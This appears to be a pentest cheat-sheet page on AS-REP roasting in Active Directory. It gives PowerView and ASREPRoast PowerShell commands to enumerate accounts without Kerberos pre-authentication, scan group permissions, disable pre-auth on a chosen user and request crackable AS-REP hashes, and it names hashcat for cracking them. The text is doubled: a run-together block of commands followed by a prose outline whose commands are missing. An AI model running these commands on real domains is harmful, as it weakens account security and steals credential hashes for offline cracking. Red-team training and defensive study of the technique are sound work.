π’AS-REPS Roasting
. .\Powerview_dev.ps1Enumerating accounts with Kerberos pre-auth disabled
Get-DomainUser -PreauthNotRequired -VerboseGet-DomainUser -PreauthNotRequired -verbose | select samaccountnameEnumerate permissions for group
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β} | select IdentityReference, ObjectDN, ActiveDirectoryRights | flSet pre-auth not required
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -VerboseRequest encrypted AS-REP
. ./ASREPRoast.ps1
Get-ASREPHash -Username <username> -VerboseEnumerate all users with Kerberos pre-auth disabled and request a hash
Invoke-ASREPRoast -Verbose
Invoke-ASREPRoast -Verbose | flCrack the hash with hashcat
Active Directory Kerberos Enumeration and Modification
Enumerating Accounts with Disabled Kerberos Pre-Authentication
First, load the PowerView PowerShell module:
Then, retrieve all users with pre-authentication not required, using:
Or, list only their usernames:
Enumerating Permissions for a Group
To find permissions for a specific group:
For a detailed list:
Disabling Kerberos Pre-Authentication for a User
Load the PowerView script and run:
Requesting Encrypted AS-REP for a User
After loading the ASREPRoast script:
Roasting Users with Pre-Auth Disabled
To enumerate and roast all users:
Cracking the Hash
Finally, crack the retrieved hash using hashcat:
Last updated
Was this helpful?